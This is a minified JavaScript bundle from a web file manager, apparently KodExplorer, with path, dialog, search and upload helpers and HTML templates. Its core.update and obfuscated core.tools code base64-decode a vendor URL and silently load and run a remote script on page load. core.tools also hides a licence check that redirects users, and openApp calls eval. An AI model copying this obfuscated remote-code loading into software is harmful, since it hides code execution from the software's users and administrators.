t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line")); +return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" 